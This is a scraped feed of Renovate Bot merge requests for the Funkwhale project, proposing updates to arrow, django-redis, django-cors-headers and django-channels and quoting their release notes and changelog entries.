[Compare Source](https://github.com/arrow-py/arrow/compare/1.2.0...1.2.1)
- \[NEW] Added quarter granularity to humanize, for example:
.. code-block:: python
>>> import arrow
>>> now = arrow.now()
>>> four_month_shift = now.shift(months=4)
>>> now.humanize(four_month_shift, granularity="quarter")
'a quarter ago'
>>> four_month_shift.humanize(now, granularity="quarter")
'in a quarter'
>>> thirteen_month_shift = now.shift(months=13)
>>> thirteen_month_shift.humanize(now, granularity="quarter")
'in 4 quarters'
>>> now.humanize(thirteen_month_shift, granularity="quarter")
'4 quarters ago'
- \[NEW] Added Sinhala and Urdu locales.
- \[NEW] Added official support for Python 3.10.
- \[CHANGED] Updated Azerbaijani, Hebrew, and Serbian locales and added tests.
- \[CHANGED] Passing an empty granularity list to `humanize` now raises a `ValueError`.
### [`v1.2.0`](https://github.com/arrow-py/arrow/blob/HEAD/CHANGELOG.rst#​120-2021-09-12)
[Compare Source](https://github.com/arrow-py/arrow/compare/1.1.1...1.2.0)
- \[NEW] Added Albanian, Tamil and Zulu locales.
- \[NEW] Added support for `Decimal` as input to `arrow.get()`.
- \[FIX] The Estonian, Finnish, Nepali and Zulu locales now support `dehumanize`.
- \[FIX] Improved validation checks when using parser tokens `A` and `hh`.
- \[FIX] Minor bug fixes to Catalan, Cantonese, Greek and Nepali locales.
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1521Update dependency django-redis to v5.2.0 (develop)2022-02-01T05:36:59ZRenovateBotUpdate dependency django-redis to v5.2.0 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-redis](https://github.com/jazzband/django-redis) | dependencies | minor | `==5.0.0` -> `==5.2.0` |
---
### Release Notes
<detail...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-redis](https://github.com/jazzband/django-redis) | dependencies | minor | `==5.0.0` -> `==5.2.0` |
---
### Release Notes
<details>
<summary>jazzband/django-redis</summary>
### [`v5.2.0`](https://github.com/jazzband/django-redis/blob/HEAD/CHANGELOG.rst#django-redis-520-2021-12-22)
[Compare Source](https://github.com/jazzband/django-redis/compare/5.1.0...5.2.0)
\===============================
## Bug Fixes
- Block use with broken redis-py 4.0.0 and 4.0.1 (`#​542 <https://github.com/jazzband/django-redis/issues/542>`\_)
## Miscellaneous
- Unblock redis-py >=4.0.2 (`#​576 <https://github.com/jazzband/django-redis/issues/576>`\_)
- Add support for django 4 (`#​579 <https://github.com/jazzband/django-redis/issues/579>`\_)
### [`v5.1.0`](https://github.com/jazzband/django-redis/blob/HEAD/CHANGELOG.rst#DjangoRedis-510-2021-11-29)
[Compare Source](https://github.com/jazzband/django-redis/compare/5.0.0...5.1.0)
\===============================
## Features
- Add Python 3.10 to CI (`#​536 <https://github.com/jazzband/django-redis/issues/536>`\_)
- Configured `towncrier` to generate the changelog. (`#​548 <https://github.com/jazzband/django-redis/issues/548>`\_)
- Added `django_redis.compressors.zstd.ZStdCompressor` to provide `pyzstd` cache value compression. (`#​551 <https://github.com/jazzband/django-redis/issues/551>`\_)
- Change pickle default version to Python default instead of highest version. (`#​555 <https://github.com/jazzband/django-redis/issues/555>`\_)
- Add `hiredis` extra dependency to request `redis[hiredis]`. (`#​556 <https://github.com/jazzband/django-redis/issues/556>`\_)
- Add pexpireat to allow setting 'expire at' with millisecond precision. (`#​564 <https://github.com/jazzband/django-redis/issues/564>`\_)
## Bug Fixes
- Make expire, pexpire, expireat and persist return the redis client value (`#​564 <https://github.com/jazzband/django-redis/issues/564>`\_)
## Miscellaneous
- Convert most unittest class tests to pytest tests. (`#​553 <https://github.com/jazzband/django-redis/issues/553>`\_)
- Update type comments to type annotations. (`#​568 <https://github.com/jazzband/django-redis/issues/568>`\_)
- Pin redis-py to 3.x until 4.x breaking changes can be addressed. (`#​570 <https://github.com/jazzband/django-redis/issues/570>`\_)
## Documentation
- Clarify redis primary name in sentinel documentation. (`#​529 <https://github.com/jazzband/django-redis/issues/529>`\_)
- Add documentation on configuring self signed SSL certificates. (`#​559 <https://github.com/jazzband/django-redis/issues/559>`\_)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1518Update dependency django-cors-headers to v3.11.0 (develop)2022-02-01T05:36:52ZRenovateBotUpdate dependency django-cors-headers to v3.11.0 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-cors-headers](https://github.com/adamchainz/django-cors-headers) ([changelog](https://github.com/adamchainz/django-cors-headers/blo...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-cors-headers](https://github.com/adamchainz/django-cors-headers) ([changelog](https://github.com/adamchainz/django-cors-headers/blob/main/HISTORY.rst)) | dependencies | minor | `==3.8.0` -> `==3.11.0` |
---
### Release Notes
<details>
<summary>adamchainz/django-cors-headers</summary>
### [`v3.11.0`](https://github.com/adamchainz/django-cors-headers/blob/HEAD/HISTORY.rst#​3110-2022-01-10)
[Compare Source](https://github.com/adamchainz/django-cors-headers/compare/3.10.1...3.11.0)
- Drop Python 3.6 support.
### [`v3.10.1`](https://github.com/adamchainz/django-cors-headers/blob/HEAD/HISTORY.rst#​3101-2021-12-05)
[Compare Source](https://github.com/adamchainz/django-cors-headers/compare/3.10.0...3.10.1)
- Prevent a crash when an invalid `Origin` header is sent.
Thanks to minusf for the report in `Issue #​701 <https://github.com/adamchainz/django-cors-headers/issues/701>`\__.
### [`v3.10.0`](https://github.com/adamchainz/django-cors-headers/blob/HEAD/HISTORY.rst#​3100-2021-10-05)
[Compare Source](https://github.com/adamchainz/django-cors-headers/compare/3.9.0...3.10.0)
- Support Python 3.10.
### [`v3.9.0`](https://github.com/adamchainz/django-cors-headers/blob/HEAD/HISTORY.rst#​390-2021-09-28)
[Compare Source](https://github.com/adamchainz/django-cors-headers/compare/3.8.0...3.9.0)
- Support Django 4.0.
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).https://dev.funkwhale.audio/funkwhale/funkwhale/-/merge_requests/1517Update dependency django-channels to v1.2.2 (develop)2022-02-01T05:36:49ZRenovateBotUpdate dependency django-channels to v1.2.2 (develop)This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-channels](https://github.com/channels-frontend/django-channels) | dependencies | minor | [`1.1.6` -> `1.2.2`](https://renovatebot.c...This MR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [django-channels](https://github.com/channels-frontend/django-channels) | dependencies | minor | [`1.1.6` -> `1.2.2`](https://renovatebot.com/diffs/npm/django-channels/1.1.6/1.2.2) |
---
### Release Notes
<details>
<summary>channels-frontend/django-channels</summary>
### [`v1.2.2`](https://github.com/channels-frontend/django-channels/compare/v1.2.1...v1.2.2)
[Compare Source](https://github.com/channels-frontend/django-channels/compare/v1.2.1...v1.2.2)
### [`v1.2.1`](https://github.com/channels-frontend/django-channels/compare/7d221ce84fef3304ae14a491f664055ce8b26ab9...v1.2.1)
[Compare Source](https://github.com/channels-frontend/django-channels/compare/7d221ce84fef3304ae14a491f664055ce8b26ab9...v1.2.1)
</details>
---
### Configuration
📅 **Schedule**: At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever MR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this MR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this MR, click this checkbox.
---
This MR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).